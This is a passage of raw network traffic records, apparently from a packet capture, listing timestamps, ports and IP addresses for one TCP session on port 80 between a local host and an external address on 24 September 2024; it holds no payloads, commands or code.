Sep 24, 2024 21:30:05.124803066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.125746965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.125763893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.125780106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.125792027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.125797033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.125822067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.125838995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.126853943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.126871109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.126887083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.126897097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.126904011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.126914024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.126921892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.126931906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.126944065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.126965046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.127608061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.127624989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.127640009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.127652884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.127657890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.127674103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.127681017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.127697945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.128510952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.128529072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.128542900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.128560066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.128557920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.128575087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.128587961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.128587961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.128603935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.128631115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.129410028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.129426003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.129442930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.129458904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.129461050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.129492044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.129492044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.130295992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.130314112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.130330086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.130346060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.130348921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.130362034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.130368948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.130388975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.130403996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.131109953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.131125927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.131159067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.131179094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.169533014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.169625044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.169627905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.169677019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.169857025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.169874907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.169903994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.169924021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170269012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170284986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170300007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170315027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170346022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170346022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170835018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170849085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170862913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170878887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170896053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.170902014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170902014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170933962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.170933962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.171771049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.171787977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.171802998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.171819925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.171819925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.171844006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.171871901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.172473907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.172489882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.172504902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.172521114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.172537088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.172537088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.172561884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.173345089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.173361063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.173401117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.198084116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198229074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198272943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.198313951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.198402882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198437929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198448896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.198479891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.198934078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198968887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.198991060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199003935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.199016094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199064016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199445963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.199481010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.199496031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199516058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.199532032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199551105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.199562073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.199595928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.200444937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.200481892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.200500965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.200515985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.200546026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.200550079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.200566053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.200598001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201251984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201287985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201303005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201320887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201334953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201356888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201370001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201390982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201402903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201427937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.201442003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.201472998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.202215910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.202250004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.202265024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.202286005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.202317953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.202320099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.202353001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.202362061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.203155041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.203188896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.203206062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.203222990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.203237057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.203258038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.203275919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.203295946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.203304052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.203349113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.226500988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.226562023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.226594925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.226597071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.226608038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.226650953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.226972103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227026939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.227104902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227152109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.227590084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227624893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227655888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.227658987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227675915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.227696896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.227960110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.227993011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.228008986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.228028059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.228061914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.228084087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.228097916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.228121996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229233027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229266882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229286909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229306936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229317904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229360104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229367018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229412079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229652882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229686975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229702950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229721069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229732037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229753971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229756117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229789019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.229795933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.229830027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.230607033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.230642080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.230667114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.230674982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.230690956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.230709076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.230715990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.230751038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.231520891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.231554985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.231583118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.231590033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.231622934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.231622934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.231623888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.231657982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.231674910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.231703997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.232465029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.232500076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.232513905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.232536077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.232542038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.232569933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.232578039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.232610941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.233381033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.233413935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.233428955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.233448029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.233455896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.233483076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.233490944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.233515978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.233526945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.233558893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.234116077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.234152079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.234164000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.234184980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.234193087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.234220028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.234229088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.234253883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.234262943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.234296083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235027075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235061884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235071898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235095978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235104084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235131025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235137939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235165119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235174894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235200882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.235204935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.235241890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236006975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236042976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236056089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236077070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236083984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236113071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236118078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236148119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236150026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236186981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236881018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236917019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236929893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236953020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236954927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.236989021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.236995935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.237025023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.237031937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.237066984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258310080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258389950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258403063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258436918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258450031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258481979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258824110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258856058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258882046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258892059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258896112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258929014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.258934975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.258968115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.259468079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.259526014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.259671926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.259705067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.259723902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.259740114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.259747028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.259774923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.259788990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.259816885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.260481119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.260514975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.260535002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.260549068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.260556936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.260584116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.260586977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.260624886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.261271000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.261307001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.261326075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.261339903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.261347055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.261375904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.261382103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.261408091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.261418104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.261451006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.286840916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.286916018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.286926031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.286962986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.286987066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.286998987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.287342072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.287410975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.287430048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.287466049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.287496090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.287501097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.287506104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.287555933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.287983894 CEST	80	49730	193.233.113.184	192.168.2.4
